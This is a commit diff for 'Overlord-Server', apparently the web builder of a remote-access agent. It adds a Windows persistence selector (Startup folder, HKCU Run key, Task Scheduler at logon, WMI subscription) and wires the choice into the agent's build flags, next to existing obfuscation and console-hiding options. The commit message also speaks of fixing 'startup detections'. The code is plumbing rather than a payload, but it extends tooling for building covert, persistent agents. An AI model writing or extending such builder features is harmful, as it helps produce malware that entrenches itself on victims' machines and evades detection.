add more persistence options and fix startup detections. Also bump version to 1.3.5

Overlord-Server/package.json

@@ -1,6 +1,6 @@
 {
   "name": "overlord-server",
-  "version": "1.3.4",
+  "version": "1.3.5",
   "private": true,
   "type": "module",
   "scripts": {

Overlord-Server/public/assets/build.js

@@ -75,6 +75,18 @@ if (rawServerListCheckbox && serverUrlInput) {
   });
 }
 
+const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]');
+const persistenceMethodContainer = document.getElementById("persistence-method-container");
+if (persistenceCheckbox && persistenceMethodContainer) {
+  persistenceCheckbox.addEventListener("change", () => {
+    if (persistenceCheckbox.checked) {
+      persistenceMethodContainer.classList.remove("hidden");
+    } else {
+      persistenceMethodContainer.classList.add("hidden");
+    }
+  });
+}
+
 async function init() {
   try {
     updateServerUrlPlaceholder();
@@ -191,6 +203,7 @@ form?.addEventListener("submit", async (e) => {
   const enablePersistence = form.querySelector(
     'input[name="enable-persistence"]',
   ).checked;
+  const persistenceMethod = form.querySelector('#persistence-method')?.value || 'startup';
   const hideConsole = form.querySelector(
     'input[name="hide-console"]',
   ).checked;
@@ -208,6 +221,7 @@ form?.addEventListener("submit", async (e) => {
     disableCgo,
     obfuscate,
     enablePersistence,
+    persistenceMethod: enablePersistence ? persistenceMethod : undefined,
     hideConsole,
     noPrinting,
   };

Overlord-Server/public/build.html

@@ -322,6 +322,30 @@
                       >
                     </div>
                   </label>
+                  <!-- Persistence method selector – Windows only, shown when persistence is enabled -->
+                  <div
+                    id="persistence-method-container"
+                    class="hidden pl-3 border-l-2 border-orange-500/40"
+                  >
+                    <label
+                      class="block text-xs font-medium text-slate-400 mb-1"
+                      for="persistence-method"
+                      >Windows Persistence Method</label
+                    >
+                    <select
+                      id="persistence-method"
+                      name="persistence-method"
+                      class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors"
+                    >
+                      <option value="startup">Startup Folder (APPDATA)</option>
+                      <option value="registry">Registry (HKCU Run key)</option>
+                      <option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
+                      <option value="wmi">WMI Subscription (requires admin)</option>
+                    </select>
+                    <p class="text-xs text-slate-500 mt-1">
+                      Method used on Windows; other platforms use their native mechanism
+                    </p>
+                  </div>
                   <label
                     class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors"
                     title="Windows only: build without a console window"

Overlord-Server/src/build/types.ts

@@ -18,6 +18,7 @@ export type BuildConfig = {
   disableCgo?: boolean;
   obfuscate?: boolean;
   enablePersistence?: boolean;
+  persistenceMethod?: string;
   hideConsole?: boolean;
   noPrinting?: boolean;
 };

Overlord-Server/src/server/build-process.ts

@@ -61,10 +61,13 @@ type BuildProcessConfig = {
   disableCgo?: boolean;
   obfuscate?: boolean;
   enablePersistence?: boolean;
+  persistenceMethod?: string;
   hideConsole?: boolean;
   noPrinting?: boolean;
 };
 
+const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
+
 type BuildProcessDeps = {
   generateBuildMutex: (length?: number) => string;
   sanitizeOutputName: (name: string) => string;
@@ -307,6 +310,11 @@ export async function startBuildProcess(
           const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
           ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
           sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
+          if (os === 'windows' && config.persistenceMethod && VALID_PERSISTENCE_METHODS.has(config.persistenceMethod)) {
+            const methodFlag = `-X overlord-client/cmd/agent/persistence.DefaultPersistenceMethod=${config.persistenceMethod}`;
+            ldflags = `${ldflags} ${methodFlag}`;
+            sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
+          }
         } else {
           sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
         }

Overlord-Server/src/server/routes/build-routes.ts

@@ -46,6 +46,7 @@ export async function handleBuildRoutes(
         disableCgo,
         obfuscate,
         enablePersistence,
+        persistenceMethod,
         mutex,
         disableMutex,
         hideConsole,
@@ -112,6 +113,11 @@ export async function handleBuildRoutes(
       });
 
       const safeNoPrinting = !!noPrinting;
+      const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
+      const safePersistenceMethod =
+        typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
+          ? persistenceMethod.toLowerCase()
+          : 'startup';
       deps.startBuildProcess(buildId, {
         platforms: allowedPlatforms,
         serverUrl: safeServerUrl,
@@ -122,6 +128,7 @@ export async function handleBuildRoutes(
         disableCgo,
         obfuscate: !!obfuscate,
         enablePersistence,
+        persistenceMethod: safePersistenceMethod,
         hideConsole: !!hideConsole,
         noPrinting: safeNoPrinting,
       });

Overlord-Server/src/version.ts

@@ -1 +1 @@
-export const SERVER_VERSION = "1.3.4";
+export const SERVER_VERSION = "1.3.5";